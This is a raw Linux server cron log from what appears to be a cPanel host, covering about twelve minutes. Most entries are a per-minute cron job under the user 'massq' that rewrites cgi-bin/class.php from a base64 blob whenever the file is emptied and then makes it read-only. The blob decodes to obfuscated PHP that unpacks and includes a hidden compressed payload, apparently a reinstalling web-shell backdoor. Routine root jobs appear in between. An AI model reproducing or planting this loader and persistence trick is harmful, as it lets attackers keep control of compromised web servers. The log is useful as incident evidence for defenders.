Nov 12 20:58:01 server CROND[11190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 20:59:01 server CROND[12049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:00:01 server CROND[12938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:00:01 server CROND[12940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 21:00:01 server CROND[12941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:00:01 server CROND[12942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:01:01 server CROND[13921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:01:01 server CROND[13922]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 21:01:01 server run-parts(/etc/cron.hourly)[13922]: starting 0anacron
Nov 12 21:01:01 server run-parts(/etc/cron.hourly)[13934]: finished 0anacron
Nov 12 21:02:01 server CROND[14795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:03:01 server CROND[15650]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:04:01 server CROND[16509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:05:01 server CROND[17379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:05:01 server CROND[17381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:05:01 server CROND[17380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 21:05:01 server CROND[17382]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 21:06:01 server CROND[18451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:07:01 server CROND[19312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:08:01 server CROND[20167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:09:01 server CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 21:09:01 server CROND[21035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:10:01 server CROND[21906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 21:10:01 server CROND[21905]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 21:10:01 server CROND[21907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 21:10:01 server CROND[21908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
